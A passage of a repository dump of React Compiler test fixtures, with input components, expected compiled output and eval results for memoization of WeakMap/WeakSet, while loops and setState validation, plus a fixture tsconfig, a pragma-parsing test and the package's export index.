Eval output\n(kind: ok) [0]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/validate-no-set-state-in-render-unconditional-lambda-which-conditionally-sets-state-ok.js",
    "content": "// @validateNoSetStateInRender\nimport {useState} from 'react';\n\nfunction Component(props) {\n  const [x, setX] = useState(0);\n\n  const foo = () => {\n    setX(1);\n  };\n\n  const bar = () => {\n    if (props.cond) {\n      // This call is now conditional, so this should pass validation\n      foo();\n    }\n  };\n\n  const baz = () => {\n    bar();\n  };\n  baz();\n\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: false}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/value-block-mutates-outer-value.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeArray, useHook} from 'shared-runtime';\n\n/**\n * Here, the cond ? [...] : defaultList value block produces two\n * new values (each with its own scope):\n *   $0 = [\"text\"]\n *   $1 = { text: $0 }\n * The same value block also mutates customList, so it must be\n * merged with the scope producing customList\n */\nfunction Foo({defaultList, cond}) {\n  const comparator = (a, b) => a - b;\n  useHook();\n  const customList = makeArray(1, 5, 2);\n  useHook();\n  const result = cond\n    ? [...customList.sort(comparator), {text: ['text']}]\n    : defaultList;\n\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{defaultList: [2, 4], cond: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { makeArray, useHook } from \"shared-runtime\";\n\n/**\n * Here, the cond ? [...] : defaultList value block produces two\n * new values (each with its own scope):\n *   $0 = [\"text\"]\n *   $1 = { text: $0 }\n * The same value block also mutates customList, so it must be\n * merged with the scope producing customList\n */\nfunction Foo(t0) {\n  const { defaultList, cond } = t0;\n  const comparator = _temp;\n  useHook();\n  const customList = makeArray(1, 5, 2);\n  useHook();\n  const result = cond\n    ? [...customList.sort(comparator), { text: [\"text\"] }]\n    : defaultList;\n\n  return result;\n}\nfunction _temp(a, b) {\n  return a - b;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ defaultList: [2, 4], cond: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1,2,5,{\"text\":[\"text\"]}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/value-block-mutates-outer-value.ts",
    "content": "import {makeArray, useHook} from 'shared-runtime';\n\n/**\n * Here, the cond ? [...] : defaultList value block produces two\n * new values (each with its own scope):\n *   $0 = [\"text\"]\n *   $1 = { text: $0 }\n * The same value block also mutates customList, so it must be\n * merged with the scope producing customList\n */\nfunction Foo({defaultList, cond}) {\n  const comparator = (a, b) => a - b;\n  useHook();\n  const customList = makeArray(1, 5, 2);\n  useHook();\n  const result = cond\n    ? [...customList.sort(comparator), {text: ['text']}]\n    : defaultList;\n\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{defaultList: [2, 4], cond: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/weakmap-constructor.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useMemo} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nfunction Component({a, b, c}) {\n  const map = new WeakMap();\n  const mapAlias = map.set(a, 0);\n  mapAlias.set(c, 0);\n\n  const hasB = map.has(b);\n\n  return (\n    <>\n      <ValidateMemoization\n        inputs={[a, c]}\n        output={map}\n        onlyCheckCompiled={true}\n      />\n      <ValidateMemoization\n        inputs={[a, c]}\n        output={mapAlias}\n        onlyCheckCompiled={true}\n      />\n      <ValidateMemoization\n        inputs={[b]}\n        output={[hasB]}\n        onlyCheckCompiled={true}\n      />\n    </>\n  );\n}\n\nconst v1 = {value: 1};\nconst v2 = {value: 2};\nconst v3 = {value: 3};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: v1, b: v1, c: v1}],\n  sequentialRenders: [\n    {a: v1, b: v1, c: v1},\n    {a: v2, b: v1, c: v1},\n    {a: v1, b: v1, c: v1},\n    {a: v1, b: v2, c: v1},\n    {a: v1, b: v1, c: v1},\n    {a: v3, b: v3, c: v1},\n    {a: v3, b: v3, c: v1},\n    {a: v1, b: v1, c: v1},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useMemo } from \"react\";\nimport { ValidateMemoization } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(27);\n  const { a, b, c } = t0;\n  let map;\n  let mapAlias;\n  if ($[0] !== a || $[1] !== c) {\n    map = new WeakMap();\n    mapAlias = map.set(a, 0);\n    mapAlias.set(c, 0);\n    $[0] = a;\n    $[1] = c;\n    $[2] = map;\n    $[3] = mapAlias;\n  } else {\n    map = $[2];\n    mapAlias = $[3];\n  }\n\n  const hasB = map.has(b);\n  let t1;\n  if ($[4] !== a || $[5] !== c) {\n    t1 = [a, c];\n    $[4] = a;\n    $[5] = c;\n    $[6] = t1;\n  } else {\n    t1 = $[6];\n  }\n  let t2;\n  if ($[7] !== map || $[8] !== t1) {\n    t2 = (\n      <ValidateMemoization inputs={t1} output={map} onlyCheckCompiled={true} />\n    );\n    $[7] = map;\n    $[8] = t1;\n    $[9] = t2;\n  } else {\n    t2 = $[9];\n  }\n  let t3;\n  if ($[10] !== a || $[11] !== c) {\n    t3 = [a, c];\n    $[10] = a;\n    $[11] = c;\n    $[12] = t3;\n  } else {\n    t3 = $[12];\n  }\n  let t4;\n  if ($[13] !== mapAlias || $[14] !== t3) {\n    t4 = (\n      <ValidateMemoization\n        inputs={t3}\n        output={mapAlias}\n        onlyCheckCompiled={true}\n      />\n    );\n    $[13] = mapAlias;\n    $[14] = t3;\n    $[15] = t4;\n  } else {\n    t4 = $[15];\n  }\n  let t5;\n  if ($[16] !== b) {\n    t5 = [b];\n    $[16] = b;\n    $[17] = t5;\n  } else {\n    t5 = $[17];\n  }\n  let t6;\n  if ($[18] !== hasB) {\n    t6 = [hasB];\n    $[18] = hasB;\n    $[19] = t6;\n  } else {\n    t6 = $[19];\n  }\n  let t7;\n  if ($[20] !== t5 || $[21] !== t6) {\n    t7 = (\n      <ValidateMemoization inputs={t5} output={t6} onlyCheckCompiled={true} />\n    );\n    $[20] = t5;\n    $[21] = t6;\n    $[22] = t7;\n  } else {\n    t7 = $[22];\n  }\n  let t8;\n  if ($[23] !== t2 || $[24] !== t4 || $[25] !== t7) {\n    t8 = (\n      <>\n        {t2}\n        {t4}\n        {t7}\n      </>\n    );\n    $[23] = t2;\n    $[24] = t4;\n    $[25] = t7;\n    $[26] = t8;\n  } else {\n    t8 = $[26];\n  }\n  return t8;\n}\n\nconst v1 = { value: 1 };\nconst v2 = { value: 2 };\nconst v3 = { value: 3 };\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: v1, b: v1, c: v1 }],\n  sequentialRenders: [\n    { a: v1, b: v1, c: v1 },\n    { a: v2, b: v1, c: v1 },\n    { a: v1, b: v1, c: v1 },\n    { a: v1, b: v2, c: v1 },\n    { a: v1, b: v1, c: v1 },\n    { a: v3, b: v3, c: v1 },\n    { a: v3, b: v3, c: v1 },\n    { a: v1, b: v1, c: v1 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[{\"value\":1},\"[[ cyclic ref *2 ]]\"],\"output\":{}}</div><div>{\"inputs\":[{\"value\":1},\"[[ cyclic ref *2 ]]\"],\"output\":{}}</div><div>{\"inputs\":[{\"value\":1}],\"output\":[true]}</div>\n<div>{\"inputs\":[{\"value\":2},{\"value\":1}],\"output\":{}}</div><div>{\"inputs\":[{\"value\":2},{\"value\":1}],\"output\":{}}</div><div>{\"inputs\":[{\"value\":1}],\"output\":[true]}</div>\n<div>{\"inputs\":[{\"value\":1},\"[[ cyclic ref *2 ]]\"],\"output\":{}}</div><div>{\"inputs\":[{\"value\":1},\"[[ cyclic ref *2 ]]\"],\"output\":{}}</div><div>{\"inputs\":[{\"value\":1}],\"output\":[true]}</div>\n<div>{\"inputs\":[{\"value\":1},\"[[ cyclic ref *2 ]]\"],\"output\":{}}</div><div>{\"inputs\":[{\"value\":1},\"[[ cyclic ref *2 ]]\"],\"output\":{}}</div><div>{\"inputs\":[{\"value\":2}],\"output\":[false]}</div>\n<div>{\"inputs\":[{\"value\":1},\"[[ cyclic ref *2 ]]\"],\"output\":{}}</div><div>{\"inputs\":[{\"value\":1},\"[[ cyclic ref *2 ]]\"],\"output\":{}}</div><div>{\"inputs\":[{\"value\":1}],\"output\":[true]}</div>\n<div>{\"inputs\":[{\"value\":3},{\"value\":1}],\"output\":{}}</div><div>{\"inputs\":[{\"value\":3},{\"value\":1}],\"output\":{}}</div><div>{\"inputs\":[{\"value\":3}],\"output\":[true]}</div>\n<div>{\"inputs\":[{\"value\":3},{\"value\":1}],\"output\":{}}</div><div>{\"inputs\":[{\"value\":3},{\"value\":1}],\"output\":{}}</div><div>{\"inputs\":[{\"value\":3}],\"output\":[true]}</div>\n<div>{\"inputs\":[{\"value\":1},\"[[ cyclic ref *2 ]]\"],\"output\":{}}</div><div>{\"inputs\":[{\"value\":1},\"[[ cyclic ref *2 ]]\"],\"output\":{}}</div><div>{\"inputs\":[{\"value\":1}],\"output\":[true]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/weakmap-constructor.js",
    "content": "import {useMemo} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nfunction Component({a, b, c}) {\n  const map = new WeakMap();\n  const mapAlias = map.set(a, 0);\n  mapAlias.set(c, 0);\n\n  const hasB = map.has(b);\n\n  return (\n    <>\n      <ValidateMemoization\n        inputs={[a, c]}\n        output={map}\n        onlyCheckCompiled={true}\n      />\n      <ValidateMemoization\n        inputs={[a, c]}\n        output={mapAlias}\n        onlyCheckCompiled={true}\n      />\n      <ValidateMemoization\n        inputs={[b]}\n        output={[hasB]}\n        onlyCheckCompiled={true}\n      />\n    </>\n  );\n}\n\nconst v1 = {value: 1};\nconst v2 = {value: 2};\nconst v3 = {value: 3};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: v1, b: v1, c: v1}],\n  sequentialRenders: [\n    {a: v1, b: v1, c: v1},\n    {a: v2, b: v1, c: v1},\n    {a: v1, b: v1, c: v1},\n    {a: v1, b: v2, c: v1},\n    {a: v1, b: v1, c: v1},\n    {a: v3, b: v3, c: v1},\n    {a: v3, b: v3, c: v1},\n    {a: v1, b: v1, c: v1},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/weakset-constructor.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useMemo} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nfunction Component({a, b, c}) {\n  const set = new WeakSet();\n  const setAlias = set.add(a);\n  setAlias.add(c);\n\n  const hasB = set.has(b);\n\n  return (\n    <>\n      <ValidateMemoization\n        inputs={[a, c]}\n        output={set}\n        onlyCheckCompiled={true}\n      />\n      <ValidateMemoization\n        inputs={[a, c]}\n        output={setAlias}\n        onlyCheckCompiled={true}\n      />\n      <ValidateMemoization\n        inputs={[b]}\n        output={[hasB]}\n        onlyCheckCompiled={true}\n      />\n    </>\n  );\n}\n\nconst v1 = {value: 1};\nconst v2 = {value: 2};\nconst v3 = {value: 3};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: v1, b: v1, c: v1}],\n  sequentialRenders: [\n    {a: v1, b: v1, c: v1},\n    {a: v2, b: v1, c: v1},\n    {a: v1, b: v1, c: v1},\n    {a: v1, b: v2, c: v1},\n    {a: v1, b: v1, c: v1},\n    {a: v3, b: v3, c: v1},\n    {a: v3, b: v3, c: v1},\n    {a: v1, b: v1, c: v1},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useMemo } from \"react\";\nimport { ValidateMemoization } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(27);\n  const { a, b, c } = t0;\n  let set;\n  let setAlias;\n  if ($[0] !== a || $[1] !== c) {\n    set = new WeakSet();\n    setAlias = set.add(a);\n    setAlias.add(c);\n    $[0] = a;\n    $[1] = c;\n    $[2] = set;\n    $[3] = setAlias;\n  } else {\n    set = $[2];\n    setAlias = $[3];\n  }\n\n  const hasB = set.has(b);\n  let t1;\n  if ($[4] !== a || $[5] !== c) {\n    t1 = [a, c];\n    $[4] = a;\n    $[5] = c;\n    $[6] = t1;\n  } else {\n    t1 = $[6];\n  }\n  let t2;\n  if ($[7] !== set || $[8] !== t1) {\n    t2 = (\n      <ValidateMemoization inputs={t1} output={set} onlyCheckCompiled={true} />\n    );\n    $[7] = set;\n    $[8] = t1;\n    $[9] = t2;\n  } else {\n    t2 = $[9];\n  }\n  let t3;\n  if ($[10] !== a || $[11] !== c) {\n    t3 = [a, c];\n    $[10] = a;\n    $[11] = c;\n    $[12] = t3;\n  } else {\n    t3 = $[12];\n  }\n  let t4;\n  if ($[13] !== setAlias || $[14] !== t3) {\n    t4 = (\n      <ValidateMemoization\n        inputs={t3}\n        output={setAlias}\n        onlyCheckCompiled={true}\n      />\n    );\n    $[13] = setAlias;\n    $[14] = t3;\n    $[15] = t4;\n  } else {\n    t4 = $[15];\n  }\n  let t5;\n  if ($[16] !== b) {\n    t5 = [b];\n    $[16] = b;\n    $[17] = t5;\n  } else {\n    t5 = $[17];\n  }\n  let t6;\n  if ($[18] !== hasB) {\n    t6 = [hasB];\n    $[18] = hasB;\n    $[19] = t6;\n  } else {\n    t6 = $[19];\n  }\n  let t7;\n  if ($[20] !== t5 || $[21] !== t6) {\n    t7 = (\n      <ValidateMemoization inputs={t5} output={t6} onlyCheckCompiled={true} />\n    );\n    $[20] = t5;\n    $[21] = t6;\n    $[22] = t7;\n  } else {\n    t7 = $[22];\n  }\n  let t8;\n  if ($[23] !== t2 || $[24] !== t4 || $[25] !== t7) {\n    t8 = (\n      <>\n        {t2}\n        {t4}\n        {t7}\n      </>\n    );\n    $[23] = t2;\n    $[24] = t4;\n    $[25] = t7;\n    $[26] = t8;\n  } else {\n    t8 = $[26];\n  }\n  return t8;\n}\n\nconst v1 = { value: 1 };\nconst v2 = { value: 2 };\nconst v3 = { value: 3 };\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: v1, b: v1, c: v1 }],\n  sequentialRenders: [\n    { a: v1, b: v1, c: v1 },\n    { a: v2, b: v1, c: v1 },\n    { a: v1, b: v1, c: v1 },\n    { a: v1, b: v2, c: v1 },\n    { a: v1, b: v1, c: v1 },\n    { a: v3, b: v3, c: v1 },\n    { a: v3, b: v3, c: v1 },\n    { a: v1, b: v1, c: v1 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[{\"value\":1},\"[[ cyclic ref *2 ]]\"],\"output\":{}}</div><div>{\"inputs\":[{\"value\":1},\"[[ cyclic ref *2 ]]\"],\"output\":{}}</div><div>{\"inputs\":[{\"value\":1}],\"output\":[true]}</div>\n<div>{\"inputs\":[{\"value\":2},{\"value\":1}],\"output\":{}}</div><div>{\"inputs\":[{\"value\":2},{\"value\":1}],\"output\":{}}</div><div>{\"inputs\":[{\"value\":1}],\"output\":[true]}</div>\n<div>{\"inputs\":[{\"value\":1},\"[[ cyclic ref *2 ]]\"],\"output\":{}}</div><div>{\"inputs\":[{\"value\":1},\"[[ cyclic ref *2 ]]\"],\"output\":{}}</div><div>{\"inputs\":[{\"value\":1}],\"output\":[true]}</div>\n<div>{\"inputs\":[{\"value\":1},\"[[ cyclic ref *2 ]]\"],\"output\":{}}</div><div>{\"inputs\":[{\"value\":1},\"[[ cyclic ref *2 ]]\"],\"output\":{}}</div><div>{\"inputs\":[{\"value\":2}],\"output\":[false]}</div>\n<div>{\"inputs\":[{\"value\":1},\"[[ cyclic ref *2 ]]\"],\"output\":{}}</div><div>{\"inputs\":[{\"value\":1},\"[[ cyclic ref *2 ]]\"],\"output\":{}}</div><div>{\"inputs\":[{\"value\":1}],\"output\":[true]}</div>\n<div>{\"inputs\":[{\"value\":3},{\"value\":1}],\"output\":{}}</div><div>{\"inputs\":[{\"value\":3},{\"value\":1}],\"output\":{}}</div><div>{\"inputs\":[{\"value\":3}],\"output\":[true]}</div>\n<div>{\"inputs\":[{\"value\":3},{\"value\":1}],\"output\":{}}</div><div>{\"inputs\":[{\"value\":3},{\"value\":1}],\"output\":{}}</div><div>{\"inputs\":[{\"value\":3}],\"output\":[true]}</div>\n<div>{\"inputs\":[{\"value\":1},\"[[ cyclic ref *2 ]]\"],\"output\":{}}</div><div>{\"inputs\":[{\"value\":1},\"[[ cyclic ref *2 ]]\"],\"output\":{}}</div><div>{\"inputs\":[{\"value\":1}],\"output\":[true]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/weakset-constructor.js",
    "content": "import {useMemo} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nfunction Component({a, b, c}) {\n  const set = new WeakSet();\n  const setAlias = set.add(a);\n  setAlias.add(c);\n\n  const hasB = set.has(b);\n\n  return (\n    <>\n      <ValidateMemoization\n        inputs={[a, c]}\n        output={set}\n        onlyCheckCompiled={true}\n      />\n      <ValidateMemoization\n        inputs={[a, c]}\n        output={setAlias}\n        onlyCheckCompiled={true}\n      />\n      <ValidateMemoization\n        inputs={[b]}\n        output={[hasB]}\n        onlyCheckCompiled={true}\n      />\n    </>\n  );\n}\n\nconst v1 = {value: 1};\nconst v2 = {value: 2};\nconst v3 = {value: 3};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: v1, b: v1, c: v1}],\n  sequentialRenders: [\n    {a: v1, b: v1, c: v1},\n    {a: v2, b: v1, c: v1},\n    {a: v1, b: v1, c: v1},\n    {a: v1, b: v2, c: v1},\n    {a: v1, b: v1, c: v1},\n    {a: v3, b: v3, c: v1},\n    {a: v3, b: v3, c: v1},\n    {a: v1, b: v1, c: v1},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-break.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b) {\n  while (a) {\n    break;\n  }\n  return b;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(a, b) {\n  while (a) {\n    break;\n  }\n\n  return b;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-break.js",
    "content": "function foo(a, b) {\n  while (a) {\n    break;\n  }\n  return b;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-conditional-continue.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c, d) {\n  while (a) {\n    if (b) {\n      continue;\n    }\n    c();\n    continue;\n  }\n  d();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(a, b, c, d) {\n  while (a) {\n    if (b) {\n      continue;\n    }\n\n    c();\n  }\n\n  d();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-conditional-continue.js",
    "content": "function foo(a, b, c, d) {\n  while (a) {\n    if (b) {\n      continue;\n    }\n    c();\n    continue;\n  }\n  d();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-logical.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(props) {\n  let x = 0;\n  while (x > props.min && x < props.max) {\n    x *= 2;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(props) {\n  let x = 0;\n  while (x > props.min && x < props.max) {\n    x = x * 2;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-logical.js",
    "content": "function foo(props) {\n  let x = 0;\n  while (x > props.min && x < props.max) {\n    x *= 2;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-property.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b) {\n  let x = 0;\n  while (a.b.c) {\n    x += b;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(a, b) {\n  let x = 0;\n  while (a.b.c) {\n    x = x + b;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-property.js",
    "content": "function foo(a, b) {\n  let x = 0;\n  while (a.b.c) {\n    x += b;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-with-assignment-in-test.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false\nfunction Component() {\n  const queue = [1, 2, 3];\n  let value = 0;\n  let sum = 0;\n  while ((value = queue.pop()) != null) {\n    sum += value;\n  }\n  return sum;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false\nfunction Component() {\n  const queue = [1, 2, 3];\n  let value;\n  let sum = 0;\n  while ((value = queue.pop()) != null) {\n    sum = sum + value;\n  }\n\n  return sum;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) 6"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-with-assignment-in-test.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false\nfunction Component() {\n  const queue = [1, 2, 3];\n  let value = 0;\n  let sum = 0;\n  while ((value = queue.pop()) != null) {\n    sum += value;\n  }\n  return sum;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/tsconfig.json",
    "content": "// Custom tsconfig for IDE integration of fixture files.\n// Note that noEmit is set, as we actually rely on snap and sprout\n// to transform these files.\n{\n  \"compilerOptions\": {\n    \"allowJs\": true,\n    \"isolatedModules\": true,\n    \"noEmit\": true,\n    \"noImplicitAny\": false,\n    \"noUncheckedIndexedAccess\": false,\n    \"noUnusedParameters\": false,\n    \"useUnknownInCatchVariables\": false,\n    \"noUnusedLocals\": false,\n    \"baseUrl\": \".\",\n    \"jsx\": \"preserve\",\n    \"paths\": {\n      // Editor integration for sprout shared runtime files\n      \"shared-runtime\": [\"../../../../snap/src/sprout/shared-runtime.ts\"]\n    },\n    \"verbatimModuleSyntax\": true,\n    \"module\": \"ESNext\",\n    \"allowSyntheticDefaultImports\": true,\n    \"moduleDetection\": \"force\"\n\n  },\n  \"include\": [\n    \"./compiler/**/*.js\",\n    \"./compiler/**/*.mjs\",\n    \"./compiler/**/*.cjs\",\n    \"./compiler/**/*.ts\",\n    \"./compiler/**/*.mts\",\n    \"./compiler/**/*.cts\",\n    \"./compiler/**/*.jsx\",\n    \"./compiler/**/*.tsx\"\n  ]\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/parseConfigPragma-test.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {parseConfigPragmaForTests, validateEnvironmentConfig} from '..';\nimport {defaultOptions} from '../Entrypoint';\n\ndescribe('parseConfigPragmaForTests()', () => {\n  it('parses flags in various forms', () => {\n    const defaultConfig = validateEnvironmentConfig({});\n\n    // Validate defaults first to make sure that the parser is getting the value from the pragma,\n    // and not just missing it and getting the default value\n    expect(defaultConfig.enableForest).toBe(false);\n    expect(defaultConfig.validateNoSetStateInEffects).toBe(false);\n    expect(defaultConfig.validateNoSetStateInRender).toBe(true);\n\n    const config = parseConfigPragmaForTests(\n      '@enableForest @validateNoSetStateInEffects:true @validateNoSetStateInRender:false',\n      {compilationMode: defaultOptions.compilationMode},\n    );\n    expect(config).toEqual({\n      ...defaultOptions,\n      panicThreshold: 'all_errors',\n      environment: {\n        ...defaultOptions.environment,\n        enableForest: true,\n        validateNoSetStateInEffects: true,\n        validateNoSetStateInRender: false,\n        enableResetCacheOnSourceFileChanges: false,\n      },\n    });\n  });\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/test-utils/validateNoUseBeforeDefine.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// @ts-ignore-line\nimport {Linter} from '../../../node_modules/eslint/lib/linter';\n// @ts-ignore-line\nimport * as HermesESLint from 'hermes-eslint';\n// @ts-ignore-line\nimport {NoUseBeforeDefineRule} from '../..';\n\nconst ESLINT_CONFIG: Linter.Config = {\n  parser: 'hermes-eslint',\n  parserOptions: {\n    sourceType: 'module',\n  },\n  rules: {\n    'custom-no-use-before-define': [\n      'error',\n      {variables: false, functions: false},\n    ],\n  },\n};\n\n/**\n * Post-codegen pass to validate that the generated code does not introduce bugs.\n * Note that the compiler currently incorrectly reorders code in some cases: this\n * step detects this using ESLint's no-use-before-define rule at its strictest\n * setting.\n */\nexport default function validateNoUseBeforeDefine(\n  source: string,\n): Array<{line: number; column: number; message: string}> | null {\n  const linter = new Linter();\n  linter.defineParser('hermes-eslint', HermesESLint);\n  linter.defineRule('custom-no-use-before-define', NoUseBeforeDefineRule);\n  return linter.verify(source, ESLINT_CONFIG);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport {runBabelPluginReactCompiler} from './Babel/RunReactCompilerBabelPlugin';\nexport {\n  CompilerError,\n  CompilerErrorDetail,\n  CompilerDiagnostic,\n  CompilerSuggestionOperation,\n  ErrorSeverity,\n  ErrorCategory,\n  LintRules,\n  LintRulePreset,\n  type CompilerErrorDetailOptions,\n  type CompilerDiagnosticOptions,\n  type CompilerDiagnosticDetail,\n  type LintRule,\n} from './CompilerError';\nexport {\n  compileFn as compile,\n  compileProgram,\n  parsePluginOptions,\n  OPT_OUT_DIRECTIVES,\n  OPT_IN_DIRECTIVES,\n  ProgramContext,\n  tryFindDirectiveEnablingMemoization as findDirectiveEnablingMemoization,\n  findDirectiveDisablingMemoization,\n  defaultOptions,\n  type CompilerPipelineValue,\n  type Logger,\n  type LoggerEvent,\n  type PluginOptions,\n  type CompileSuccessEvent,\n} from './Entrypoint';\nexport {\n  Effect,\n  ValueKind,\n  ValueReason,\n  printHIR,\n  printFunctionWithOutlined,\n  validateEnvironmentConfig,\n  type EnvironmentConfig,\n  type ExternalFunction,\n  type Hook,\n  type SourceLocation,\n} from './HIR';\nexport {\n  printReactiveFunction,\n  printReactiveFunctionWithOutlined,\n} from './ReactiveScopes';\nexport {parseConfigPragmaForTests} from './Utils/TestUtils';\ndeclare global {\n  // @internal\n  let __DEV__: boolean | null | undefined;\n}\n\nimport BabelPluginReactCompiler from './Babel/BabelPlugin';\nexport default BabelPluginReactCompiler;\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/tsconfig.json",
